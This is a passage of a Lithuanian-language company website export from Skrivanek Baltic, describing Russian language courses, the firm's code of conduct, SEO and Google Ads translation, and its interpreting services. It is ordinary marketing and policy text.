įsitikinę, kad rusų kalbos mokymasis internetu yra pažangus ir veiksmingas mokymosi būdas. Dėstytojas ir besimokantysis gali susitarti dėl užsiėmimo internetu pagal savo užimtumą, mokytis, kalbėtis ir aptarti rusų kalbos dalykus – gramatiką, žodyną ar verslo bendravimo pagrindus. KALBOS MOKYMOSI METODAS – „EFFECTO“ Visi mūsų dėstytojai yra rusakalbiai profesionalai, kuriems rusų kalba yra gimtoji ir kurių specializacija – rusų kalbos, kaip užsienio kalbos, mokymas, todėl mūsų studentai iš jų gali mokytis autentiškos kalbos. Mūsų rusų kalbos korepetitoriai kalba angliškai, todėl svarbiausi rusų kalbos gramatikos, tarimo ar žodyno dalykai gali būti paaiškinti angliškai, kad nepraleistumėte nieko svarbaus ir kuo greičiau išmoktumėte bendrauti rusų kalba tiek raštu, tiek žodžiu. Be to, „Skrivanek Baltic“ mokymo centras sukūrė savo unikalų metodą EFFECTO, kad mokymosi procesas būtų įdomus ir veiksmingas. Mūsų EFFECTO metodą sudaro penki pagrindiniai elementai, kurie, mūsų nuomone, yra veiksmingiausi mokantis rusų kalbos. EFFECTO penki elementai: veikla, įkvėpimas, individualus požiūris ir garantija. Kad ir kokius rusų kalbos mokymosi kursus lankytumėte, visada aktyviai dalyvausite mokymosi procese, o mūsų kūrybingi ir sumanūs mokytojai parinks geriausią medžiagą, turinį ir metodus, parengs specialiai jūsų mokymosi poreikiams pritaikytas mokymo programas ir garantuos, kad sėkmingai išmoksite rusų kalbą verslui, socialinėms situacijoms ar kelionėms. „Skrivanek“ komanda visada pasirengusi individualiai atsižvelgti į kiekvieno besimokančiojo poreikius ir mielai suteikia savo klientams būtent tai, ko jiems reikia mokytis rusų kalbos. Pasirinkite jums tinkamiausią rusų kalbos mokymosi būdą, susisiekite su „Skrivanek Baltic“ mokymo centro komanda ir mes mielai suteiksime jums reikiamą rusų kalbos mokymo paslaugą – malonų rusų kalbos kursą bendravimui, kelionėms ar verslui! --- > „Skrivanek Baltic“ kalbų paslaugų teikėjo profesinės etikos ir elgesio principai yra privalomi ir mūsų bendradarbiavimo partneriams. - Published: 2022-07-13 - Modified: 2022-07-15 - URL: https://skrivanek.lv/etikas-kodekss/ - Translation Priorities: Optional Mūsų veikla grindžiama atsakomybe, patikimumu ir sąžiningumu. Tai trys pagrindinės vertybės, dėl kurių esame patikimas darbdavys, verslo partneris ir pramonės partneris. Kuriame ilgalaikius santykius su savo darbuotojais ir rangovais (toliau – kalbos specialistai), klientais, tiekėjais ir kitais verslo partneriais. Nuolat tobuliname ir plėtojame savo paslaugas kalbų mokymosi, vertimo ir kitose srityse, susijusiose su kalbų mokymusi ar tekstų tvarkymu. Žinome, kad mūsų darbuotojai ir kalbų specialistai yra didžiausias mūsų turtas, todėl užtikriname atvirą, nuoširdžią ir pagarbią darbo aplinką. Kiekvienas darbuotojas ir kalbos specialistas yra atsakingas už įmonės reputaciją ir viešąjį darbdavio įvaizdį. Šio elgesio kodekso tikslas – aiškiai apibrėžti principus, kuriais vadovaujamės dirbdami ir laikydamiesi verslo etikos. Šiuo kodeksu siekiama užtikrinti, kad mūsų kalbos specialistai ir partneriai vienodai žinotų mūsų principus. Elgesio kodeksas neapima visų galimų problemų, kurios gali iškilti. Mes pasikliauname savo darbuotojais ir kalbos specialistais, kurie atstovauja „Skrivanek Baltic“ interesams čia neaprašytais klausimais, priimdami sprendimus, pagrįstus teisės aktų reikalavimais ir mūsų trimis pagrindinėmis vertybėmis – atsakomybe, patikimumu ir sąžiningumu, o kilus neaiškumų – kreipdamiesi patarimo į „Skrivanek Baltic“ vadovybę. Elgesio kodeksas vienodai taikomas vadovybei, kiekvienam darbuotojui ir kalbos specialistui. Šio kodekso principus taip pat taikome palaikydami kasdienius verslo santykius su klientais, tiekėjais ir partneriais. Laikomės vietos įstatymų, reglamentuojančių verslo elgesį, sąžiningą komercinę praktiką, darbo įstatymus, duomenų apsaugą, darbo saugos standartus, mokesčių įstatymus ir kitus su verslu susijusius klausimus. Teikiame teisingą informaciją apie savo finansinę veiklą, pasisakome prieš korupciją, laikome nepriimtinais bet kokius nepagrįstus mokėjimus ar dovanas ir pasisakome už sąžiningą konkurenciją. „Skrivanek Baltic“ stengiasi imtis visų būtinų priemonių, kad jos vadovybė, darbuotojai, kalbos specialistai ir verslo partneriai laikytųsi šių įstatymų, standartų ir principų. Taip pat gerbiame ir laikomės vietos kultūrinių tradicijų, išskyrus atvejus, kai jos prieštarauja įstatymams – tokiu atveju svarbiausia yra įstatymai. Mūsų kalbų specialistai dirba „Skrivanek Baltic“, o mūsų darbas vertinamas pagal tai, kiek atsakingi ir į klientų aptarnavimą orientuoti mūsų darbuotojai ir kalbų specialistai. Skatiname savo darbuotojus ir kalbos specialistus reikšti ir ginti savo nuomonę, ypač dėl nepagrįstų reikalavimų ar nepriimtinų „Skrivanek Baltic“ ar jų klientų, verslo partnerių veiksmų. Darbuotojai ir kalbos specialistai raginami savo įtarimus ar nuogąstavimus dėl galimo piktnaudžiavimo, neetiško ar kitokio nepriimtino elgesio pareikšti „Skrivanek Baltic“ vadovybei, kurios pareiga yra peržiūrėti, prireikus ištirti ir imtis atitinkamų veiksmų, neatsižvelgiant į susijusių asmenų tapatybę. Didžiuojamės savo darbo aplinka. Gerbiame ir skatiname žmogaus teises ir gerbiame nuomonių skirtumus, įskaitant religinius, politinius, etninius ar lyčių. Tai, kad mūsų darbuotojai yra įvairūs, skirtingų pažiūrų ir įsitikinimų, padeda mums būti kūrybinga įmone ir klestėti. Bet koks neigiamas, agresyvus ar diskriminuojantis požiūris į darbuotojus, kalbos specialistus, klientus, verslo partnerius yra nepriimtinas. Lygiateisiškumo principo laikomasi įdarbinant, ugdant ir tobulinant darbuotojų ir kalbų specialistų įgūdžius, jei jų kvalifikacija ir darbo kokybė atitinka reikalavimus. Raginame darbuotojus ir kalbų specialistus palaikyti atvirą dialogą tiek tais klausimais, kuriais reikia patarimo ar paramos, tiek teikti pasiūlymus dėl verslo plėtros, bendravimo ir teikiamų paslaugų kokybės gerinimo. Norime, kad klientai mumis pasitikėtų, todėl nuolat dirbame siekdami tobulėti, teikti kokybiškas paslaugas ir žengti koja kojon su laiku. Esame atskaitingi savo klientams ir naudojame kokybės valdymo sistemas, kurios nuolat peržiūrimos ir tobulinamos atsižvelgiant į kalbų paslaugų sektoriaus reikalavimus. Savo klientų neklaidiname dėl teikiamų paslaugų, o jei kyla klausimų dėl kokybės tinkamumo, atliekame tyrimą ir atitinkamus pakeitimus. Kilus interesų konfliktui, darbuotojai ir kalbų specialistai privalo nedelsdami informuoti atitinkamą projekto vadovą arba „Skrivanek Baltic“ vadovybę apie situaciją, galinčią turėti įtakos paslaugų teikimui; tokius atvejus „Skrivanek Baltic“ vadovybė nagrinėja prioriteto tvarka ir imasi reikiamų veiksmų kliento ir „Skrivanek Baltic“ interesams apsaugoti. Be to, kalbos specialistas privalo nedelsdamas pranešti atitinkamam projekto vadovui, jei jam trūksta reikiamos informacijos ar priemonių, kad būtų užtikrinta paslaugų kokybė ir darbas būtų atliktas laiku. Taip pat raginame kalbos specialistus atvirai reikšti idėjas ir pasiūlymus, kaip užtikrinti ir pagerinti paslaugų kokybę. Savo rinkodaros ir pardavimo strategiją grindžiame teisingos informacijos pateikimu, todėl reklamoje nenaudojame įžeidžiančių ar neapykantą kurstančių žodžių. Mums rūpi mūsų klientai, todėl teigiamus klientų atsiliepimus ir rekomendacijas laikome didžiausia savo sėkme. Laikomės klientų duomenų apsaugos principų. Duomenų ir informacijos apsauga yra aktualus klausimas. „Skrivanek Baltic“ sąžiningai ir atsakingai elgiasi su informacija, kurią įmonei patikėjo kalbos specialistai, klientai ir kiti verslo partneriai, ir laikosi teisinių duomenų ir informacijos apsaugos reikalavimų. Mūsų darbuotojai ir kalbos specialistai gerbia visų kliento dokumentų ir medžiagos konfidencialumą, jei tokia informacija nėra viešai prieinama. „Skrivanek Baltic“ nesaugo informacijos, kuri nėra būtina užsakymui įvykdyti, rūpinasi vidaus apskaitos sistemų priežiūra ir kibernetiniu saugumu. Kartu galime padaryti daugiau. Bendradarbiavimas su tiekėjais yra mūsų ilgalaikio verslo plėtros dalis, todėl juos renkamės atidžiai, atsižvelgdami į jų reputaciją, atsakingą verslo praktiką ir norą bendradarbiauti ateityje. Atvirai skelbiame savo bendradarbiavimo partnerių atrankos kriterijus ir esame pasirengę suteikti daugiau informacijos tiems tiekėjams, kurie šių kriterijų neatitinka. Taip pat atvirai kalbame apie galimus interesų konfliktus, nes dėl jų gali būti atsisakyta bendradarbiauti. „Skrivanek Baltic“ atlieka visus mokėjimus pagal išrašytas sąskaitas faktūras ir yra atsakinga už mokėjimus savo verslo partneriams. Paslaugų ar prekių užsakymai turi būti registruojami raštu, jei jie viršija 500 EUR. Deramai rūpinamės savo verslo partnerių konfidencialia informacija, kuri mums buvo atskleista bendradarbiaujant, ir laikomės šalių sutartų konfidencialumo principų. „Skrivanek Baltic“ vadovybė ir kalbos specialistai gali priimti ir įteikti nedideles simbolines dovanas, jei tai tiesiogiai susiję su „Skrivanek Baltic“ verslo interesais ir nepažeidžia teisės normų. Priimtina dalyvauti su „Skrivanek Baltic“ verslu susijusiame maitinime arba su verslo plėtra ir palaikymu susijusiuose renginiuose, pavyzdžiui, konferencijose, seminaruose. Dovanos negali būti piniginės. Mūsų darbuotojai ir kalbų specialistai, dirbdami „Skrivanek Baltic“, nepriima verslo partnerių kvietimų į brangius restoranus, pramogų vietas ar kitų brangių dovanų, įskaitant pinigus ar dovanų korteles. Brangiai kainuojančios dovanos turi būti nedelsiant grąžintos dovanotojui, paaiškinant tai „Skrivanek Baltic“ elgesio kodekso pažeidimu; jei dovana dėl kokių nors priežasčių negali būti grąžinta dovanotojui, ji turi būti perduota „Skrivanek Baltic“ vadovybei tolesniam naudojimui labdaros tikslais. „Skrivanek Baltic“ kalbų specialistai bendrovės išteklius, įskaitant intelektinę nuosavybę, naudoja bendrovės naudai, o ne savo asmeniniams interesams. Neatsargus, aplaidus elgesys, išteklių švaistymas ar vagystė turi tiesioginės įtakos „Skrivanek Baltic“ finansiniams rezultatams, todėl tai yra draudžiama ir gali būti baudžiama pagal įstatymus. Bendradarbiaujame su valdžios institucijomis, vyriausybe ir mūsų pramonės atstovais, todėl dalyvaujame viešose konsultacijose. „Skrivanek Baltic neremia politinių partijų, atskirų politikų, politinių ar religinių judėjimų, organizacijų nei finansiškai, nei kitaip. „Skrivanek Baltic“ vertina ir gerbia savo darbuotojų ir kalbų specialistų asmeninį pasirinkimą reikšti ir palaikyti savo politines ar religines pažiūras, jei tai nėra daroma įmonės vardu. Darbo aplinka ir įmonės ištekliai negali būti naudojami kaip asmeninės paramos platforma. Individuali parama darbuotojams ir kalbos specialistams turi būti teikiama laikantis teisės aktuose nustatytos tvarkos, o veiksmai, kurie gali būti laikomi neteisėtais arba sukelti įtarimų dėl korupcijos, yra nepriimtini. „Skrivanek Baltic“ remia aiškiai skaidrų, profesionaliai ir finansiškai pagrįstą dalyvavimą labdaros, kultūros ar kituose renginiuose. Bet kokia tokia parama, neatsižvelgiant į jos dydį, turi būti pagrįsta aiškiu planu, kaip įmonė gali plėtoti tokį bendradarbiavimą ilgalaikėje perspektyvoje ir ar ji daro ilgalaikį teigiamą poveikį visuomenei. „Skrivanek Baltic“ gerbia aplinką. Galvojame apie tai, kaip kiekvieno iš mūsų elgesys veikia aplinką ir kaip kiekvienas mūsų darbuotojas ir kalbos specialistas gali daryti įtaką atsakingam gamtos išteklių naudojimui. Galvojame, kaip medžiagas galima pakartotinai naudoti, rūšiuoti, perdirbti ir atsakingai utilizuoti. Situaciją pagerinti gali padėti bet kokie, net ir nedideli veiksmai, pavyzdžiui, šviesos išjungimas prieš išeinant iš biuro. Oficialiai atstovauti bendrovei viešojoje žiniasklaidoje arba renginiuose gali tik mūsų bendrovės direktoriai arba jų įgalioti atstovai. „Skrivanek Baltic“ vadovai atstovauja bendrovės interesams ir turi papildomą atsakomybę rodyti etiško elgesio pavyzdį, jį palaikyti ir remti bendrovėje. Mūsų vadovai padeda darbuotojams ir kalbos specialistams, atsakydami į etikos klausimus, palaikydami atvirumą ir pasitikėjimą. „Skrivanek Baltic“ vadovai jokiomis aplinkybėmis negali tiesiogiai ar netiesiogiai duoti nurodymų ar skatinti bet kokio Elgesio kodekso pažeidimo ar nesilaikymo. Mūsų vadovai privalo skirti laiko etikos klausimams nagrinėti ir paaiškinti Elgesio kodeksą naujiems darbuotojams. Vadovai palaiko etišką darbuotojų ir kalbos specialistų elgesį ir yra pasirengę padėti rasti atsakymus ir sprendimus į iškilusius klausimus ir neaiškumus. --- > Lokalizuosime jūsų svetainę pagal SEO principus ir pritaikysime ją „GoogleAds“, kad visi potencialūs klientai galėtų lengvai jus rasti! - Published: 2022-07-13 - Modified: 2022-08-24 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/ - Translation Priorities: Optional Nesvarbu, ar verslas vykdomas vidaus, ar tarptautinėje rinkoje, svarbu, kad siūloma prekė ar paslauga būtų pastebėta, gerbiama ir taptų populiari interneto aplinkoje. Didžiausios sėkmės sulauksite, jei su potencialiais klientais kalbėsite jų gimtąja kalba. Pirmasis žingsnis – lokalizuoti ir pritaikyti svetaines bei skelbimus vietos rinkai ir tikslinei auditorijai. Lokalizuodami svetaines turite laikytis SEO principų, kurie daro įtaką svetainės pozicijai natūraliuose paieškos rezultatuose (rezultatai, kuriuos paieškos sistema rodo pagal įvestą raktažodį), ir, jei reikia, naudoti interneto reklamą su „Google Ads“, kad jūsų puikus pasiūlymas nepraeitų pro reikiamus klientus. „GOOGLE ADS“ („ADWORDS“) VERTIMAI Daugiakalbystė labai padidina svetainės konkurencingumą. Mūsų ekspertai padės jums lokalizuoti svetainę, laikydamiesi visų galiojančių SEO principų, kad ji būtų rodoma kuo aukščiau natūraliuose paieškos rezultatuose, taip pat pritaikys raktinius žodžius „Google Ads“, kad kiekvienas potencialus klientas galėtų lengvai jus rasti. PAGRINDINIAI „GOOGLE ADS“ PRINCIPAI Mūsų lokalizavimo specialistai yra išmokyti versti „Google Ads“ tekstus ir žino, kaip išsiaiškinti įvairių raktažodžių populiarumą tikslinėje kalboje. Pavyzdžiui, siūlydami įvairius IT produktus, turite išsiaiškinti, kaip juos vadina vartotojai, kurie gali juos pirkti. Todėl mūsų ekspertai pritaikys raktinius žodžius taip, kad vartotojai matytų jūsų skelbimą, neatsižvelgiant į tai, kaip jie linkę vadinti produktą. KAIP MŪSŲ EKSPERTAI GALI SUKURTI TOBULĄ „GOOGLE ADS“ TEKSTĄ? „Google Ads“ vertimas ir lokalizavimas nėra paprastas vertimo darbas, todėl lokalizavimo specialistai yra gimtakalbiai, kuriems tikslinė kalba yra gimtoji. Geras „Google Ads“ skelbimas atlieka tris dalykus: atitinka nustatytas ribas; yra tikslus ir prasmingas; kreipiasi į klientą jam suprantamu būdu. „Google Ads“ vertimas reiškia, kad skelbimai ne tik išverčiami, bet mūsų ekspertai juos iš naujo sukuria tikslinėje kalboje, išlaikydami tikslią šaltinio idėją, bet pateikdami ją taip, kad patiktų vietos naudotojams. Tai labai svarbu, jei skelbimai kuriami rinkai, kurioje vyrauja kitokia kultūra ir kuri kitaip supranta mandagumą, oficialumą ir skelbimų stilių. SEO VERTIMAI Kiekviena svetainė paieškos rezultatuose rodoma aukščiau arba žemiau, atsižvelgiant į tai, kaip gerai, paieškos sistemos nuomone, ji atitinka raktinius žodžius ir galimus naudotojo poreikius. „Skrivanek“ lokalizavimo ekspertai išmano SEO principus, todėl lokalizuodami svetainę, skirtą naudoti vietos rinkoje, jie taip pat atsižvelgia į tai, ar svetainė bus tinkama aukštai pozicijai paieškos rezultatuose užimti. SEO PRINCIPAI Svetainė, sukurta ir lokalizuota pagal SEO principus, natūralios paieškos rezultatuose bus rodoma aukštai (paprastai gera pozicija laikoma rodymas ne toliau kaip trečiajame paieškos rezultatų puslapyje). Mūsų specialistai, lokalizuodami jūsų svetainę, atsižvelgia į jūsų pasirinktus raktinius žodžius ir užsibrėžtą tikslą, kad svetainė atitiktų paieškos sistemos reikalavimus ir tikslinės auditorijos pageidavimus. Interneto svetainės, optimizuotos pagal SEO principus, turi daug svarbių privalumų: aukštesnė pozicija paieškos rezultatuose; geriau atspindi tai, ko vartotojas ieško ir sumažina tikimybę, jog jūsų interneto svetainė bus atidaryta ir uždaryta (tai parodo, jog ji pasiekė ne tą tikslinę auditoriją); pagerinta paieškos patirtis – didesnė tikimybė, jog vartotojai ras tai, ko ieško. Tokių interneto svetainių investicijų grąža yra didesnė. KAIP MŪSŲ LOKALIZAVIMO EKSPERTAI SUKURIA GERIAUSIUS SEO VERTIMUS? Raktinių žodžių vertimas yra subtilus ir tikslus darbas. SEO vertimai apima ir kitą svarbią detalę – suprasti, kokia yra konkrečių raktažodžių konkurencija tikslinėje kalboje ir kokie panašūs raktažodžiai yra vartojami. Norėdami rasti geriausius raktažodžius, turite atlikti tyrimą ir išsiaiškinti, kokie žodžiai ir kaip dažnai vartojami tikslinėje kalboje. Tai gali atlikti jūsų SEO specialistas arba mūsų profesionalai. Dažnai SEO vertimams pateikiamas šaltinio kalbos raktažodžių sąrašas ir tada ieškoma geriausių ir tiksliausių tikslinės kalbos raktažodžių, kurie išlaiko savo pirminę reikšmę, bet taip pat yra populiarūs ir dažnai naudojami. KAIP GALIME PADĖTI, JEI JUMS REIKIA SEO VERTIMŲ IR „GOOGLE ADS“ VERTIMŲ? Reaguojant į vertimų rinkos pokyčius, SEO vertimai ir „Google Ads“ vertimai yra viena iš augančių lokalizavimo sričių. „Skrivanek Baltic“ turi daugiau kaip 25 metų patirtį vertimų srityje, o mūsų komandoje dirba daugiau kaip 110 kalbų kombinacijų lokalizavimo specialistai. Mūsų lokalizavimo specialistai turi reikiamų žinių ir patirties, nes puikiai atlieka SEO ir „Google Ads“ vertimus. DAŽNIAUSIAI UŽDUODAMI KLAUSIMAI Galime išversti bet ką iš beveik bet kokio elektroninio formato, išsaugodami originalaus dokumento formatavimą. Net ir tais atvejais, kai reikalingos lokalizavimo paslaugos, laikomės kliento nurodymų ir konkrečios programinės įrangos nustatymų. Žinoma, su didžiausiu malonumu. „Skrivanek“ turi daug patirties ir žinių verčiant ir lokalizuojant įvairių svetainių ir turinio valdymo sistemų tekstus. Visais atvejais laikomasi profesionalaus požiūrio ir pasirenkamas geriausias sprendimas, kad būtų užtikrintas norimas rezultatas reikiamomis kalbų kombinacijomis. Taip, labai dažnai savo partneriams net sudarome kalbų komandas – paslaugas teikia tas pats vertėjas raštu ar žodžiu, kuris su klientu dirbo ir anksčiau. Drąsiai pateikite atsiliepimus ir mes mielai suorganizuosime pakartotinį bendradarbiavimą. Mūsų nuolatiniai klientai taip pat turi savo projektų vadovą. REIKIA SEO ARBA „GOOGLE ADS“ VERTIMO? IEŠKOTE KALBOS PAMOKŲ ARBA JUMS REIKIA PATARIMO? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekti RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2021 m. 0+ Kalbos specialistų 0 ISO sertifikatai KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Nuosekliojo vertimo žodžiu paslaugos iš daugiau nei 40 kalbų visais darbo ir gyvenimo atvejais. Vietiniai ir užsienio vertėjai žodžiu. Susisiekite su mumis! - Published: 2022-07-13 - Modified: 2022-08-02 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/ - Translation Priorities: Optional KAS YRA NUOSEKLUSIS VERTIMAS IR KĄ REIKIA ŽINOTI APIE ŠIO TIPO PASLAUGAS? Vertimas žodžiu, kai vertėjas klausosi, kas sakoma viena kalba, ir verčia į kitą kalbą. Vertėjas sėdi kartu su susitikimo dalyviais, klausosi kalbos ir verčia į kitą kalbą, dažniausiai remdamasis išsakytomis pastabomis. Yra dvi nuosekliojo vertimo rūšys – trumpasis ir ilgasis. Trumpos trukmės nuoseklusis vertimas yra vertimas sakinys po sakinio, dažniausiai tai būna du ar trys sakiniai, kuris dažniausiai praktikuojami verslo pokalbiuose, trumpalaikiuose vizituose, muziejuose ir kt. Tačiau praktikoje vis dažniau naudojamas ilgas kalbėjimas (nuo 5 iki 10–20 minučių) ir atitinkamai ištraukų vertimas. Šiuolaikiniame pasaulyje nuoseklųjį vertimą dažnai keičia sinchroninis vertimas. Tačiau jis vis dar naudojamas įvairiuose susitikimuose (pvz. , techniniuose posėdžiuose, darbo pietuose, mažose grupėse, išvykose). Geri, profesionalūs vertėjai gali labai tiksliai išversti net ilgas kalbas. GERAS NUOSEKLUSIS VERTIMAS: turiniškai perteikia konkrečią žinią / prasmę vertimo kalba; yra ištikimas vertimas, atsižvelgiantis į turinį ir toną; yra greitas, spartus, nepertraukiamas ir stabilus kalbėjimas; yra aiškus ir elegantiškas vertimas; vertimo metu išlaikomas geras kontaktas su kalbėtoju ir klausytoju. KIEK VERTĖJŲ ŽODŽIU REIKIA RENGINIUI? Vartojamų kalbų skaičius Minimalus vertėjų žodžiu skaičius* Iš dviejų kalbų į dvi kalbas 2 Iš trijų kalbų į tris kalbas 3 * Išimtiniais atvejais, atsižvelgiant į kokybės ir sveikatos principus, vietoj dviejų vertėjų žodžiu gali būti samdomas tik vienas vertėjas žodžiu arba vietoj trijų vertėjų žodžiu gali būti samdomi tik du vertėjai žodžiu. POPULIARIAUSIOS KALBŲ KOMBINACIJOS, KURIOMIS DAŽNIAUSIAI TEIKIAME ANTRINIO VERTIMO PASLAUGAS: latvių–anglų–latvių; estų–anglų–estų; lietuvių–anglų–lietuvių; rusų–anglų–rusų; švedų–latvių–švedų, ispanų–latvių–ispanų, italų–latvių–italų, rusų–latvių–rusų ir kt. REIKALINGAS VERTIMAS ŽODŽIU AR KONSULTACIJA? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekti KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2021 m. 0+ Kalbos specialistas 0 ISO sertifikatai --- > Sinchroninis vertimas žodžiu konferencijose, susitikimuose ir kituose renginiuose daugiau nei 40 kalbų. Sinchroninio vertimo įrangos nuoma. Daugiau nei 25 metų patirtis. - Published: 2022-07-13 - Modified: 2022-08-02 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/ - Translation Priorities: Optional SINCHRONINIS VERTIMAS – KAI KALBĖTOJO KALBA VERČIAMA IŠ KABINOS SU KELIŲ SEKUNDŽIŲ VĖLAVIMU. Sinchroninis vertimas žodžiu yra palyginti nauja vertimo rūšis, atsiradusi po Antrojo pasaulinio karo Niurnbergo procese, nors ji buvo praktikuojama ir anksčiau. Niurnbergo procesas buvo išverstas į keturias kalbas ir nuo to laiko niekas beveik nepakito (kabinos, mikrofonai, ausinės, trys vertėjai žodžiu). Sinchroninis vertimas žodžiu yra tarsi nenatūralus – vertėjas turi būti labai susikaupęs, nes paprastai žmogus vienu metu nesiklauso ir nekalba– prie tokio darbo reikia priprasti ir išmokti. Vertėjas paprastai dirba su dar bent vienu ar dviem kolegomis garso nepraleidžiančioje kabinoje. Kalbėtojas posėdžių salėje kalba į mikrofoną, vertėjas girdi kalbėtoją per ausines ir beveik tuo pačiu metu verčia į mikrofoną. Dalyviai, esantys posėdžių salėje ir pasirinkę reikiamą kanalą, girdi vertimą pasirinkta kalba. Galimos įvairios kalbos arba kalbos režimo konfigūracijos. Daugiakalbėse konferencijose kabinoje sėdintys vertėjai žodžiu verčia tik į savo gimtąją kalbą arba kelias kalbas. Kadangi toks vertimas reikalauja didelio susikaupimo, vertėjai kabinose keičiasi kas 10–30 minučių. GERAS SINCHRONINIS VERTIMAS: turiniškai perteikia konkrečią žinią vertimo kalba; yra ištikimas vertimas, atsižvelgiantis į turinį ir toną; pasižymi ramiu, nepertraukiamu ir stabiliu kalbėjimu; vertimo metu nėra pažodinio vertimo; vertimo metu išlaikomas kontaktas su kalbėtoju ir klausytoju; pasižymi spontaniškumu. Sinchroninis vertimas grindžiamas klausymu, supratimu, analize ir performulavimu.  POPULIARIAUSIOS KALBŲ KOMBINACIJOS, KURIOMIS DAŽNIAUSIAI TEIKIAMOS SINCHRONINIO VERTIMO PASLAUGAS: latvių–anglų–latvių; estų–anglų–estų; lietuvių–anglų–lietuvių; rusų–anglų–rusų; švedų–latvių–švedų, ispanų–latvių–ispanų, italų–latvių–italų, rusų–latvių–rusų ir kt. REIKALINGAS VERTIMAS ŽODŽIU AR KONSULTACIJA? Parengsime jums pasiūlymą ir suteiksime konsultaciją. Susisiekti KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2021 m. 0+ Kalbos specialistų 0 ISO sertifikatai --- > Tai įrodo, kad mūsų vertimo specialistų atranka, darbo procesas, technologijų naudojimas ir kiti pramonei būdingi aspektai atitinka reikalavimus. - Published: 2022-07-13 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN 17100: 2015 – VERTIMO PROCESO VALDYMO SISTEMOS SERTIFIKATAS --- > Kokybiškos kalbų paslaugos įmonėms ir privatiems asmenims. Esame sertifikuoti pagal ISO 9001, EN 17100 ir ISO 27001. Sužinokite daugiau! - Published: 2022-07-13 - Modified: 2024-01-29 - URL: https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/ - Translation Priorities: Optional JŪSŲ VERTIMŲ BIURAS IR MOKYMO CENTRAS „SKRIVANEK“ 1 „Skrivanek“ yra viena didžiausių pasaulyje kalbų paslaugų teikėjų, turinti daugiau nei 25 metų patirtį kalbų paslaugų srityje. Šiuo metu ji turi beveik penkiasdešimt filialų visame pasaulyje. „Skrivanek Baltic“ Latvijoje veikia nuo 2003 m. ir savo klientams siūlanti aukštos kokybės kalbų paslaugas. MISIJA „Skrivanek Baltic“ = kokybiškos kalbų paslaugos sėkmingam bendravimui ir tvariam darbui Latvijoje ir užsienyje. VIZIJA „Skrivanek Baltic“ vizija – būti įmone, kuri pasižymi puikiu klientų aptarnavimo lygiu, aukštais kokybės standartais, patenkintais darbuotojais ir gera reputacija. TIKSLAI būt sociāli atbildīgam un ilgtspējīgam uzņēmumam; ieviest nozares jauninājumus uzņēmuma ikdienas darbā; būt uzticamam un draudzīgam sadarbības partnerim mūsu klientiem un piegādātājiem; līdzdarboties nozares izaugsmē un veicināt tās reputācijas un kvalitātes attīstību Latvijā. Elgesio kodeksas Politika darbiniekiem, piegādātājiem un sadarbības partneriem VERTYBĖS Lankstumas – mes esame lankstūs ir lengvai prisitaikome prie nuolatos besikeičiančios lingvistinės technologijos ir klientų pageidavimų. Mūsų lankstumas užtikrina, kad besikeičiantys klientų poreikiai būtų patenkinami. Skatiname eksperimentavimą mūsų komandos viduje, puoselėdami inovacijų ir nuolatinio tobulinimosi kultūrą. Technologijos – mes taikome inovacijas ir pažangiausias technologijas, kad padidintume mūsų kalbų paslaugų efektyvumą ir kokybę. Technologinių pasiekimų taikymas yra mūsų įsipareigojimo inovacijoms ir klientų pasitenkinimui dalis. Komandinis darbas ir pasaulinis bendradarbiavimas – mes tikime entuziastingų profesionalų iš viso pasaulio jėga dirbti kartu ir pasiekti neįtikėtinų rezultatų. Esame įsipareigoję 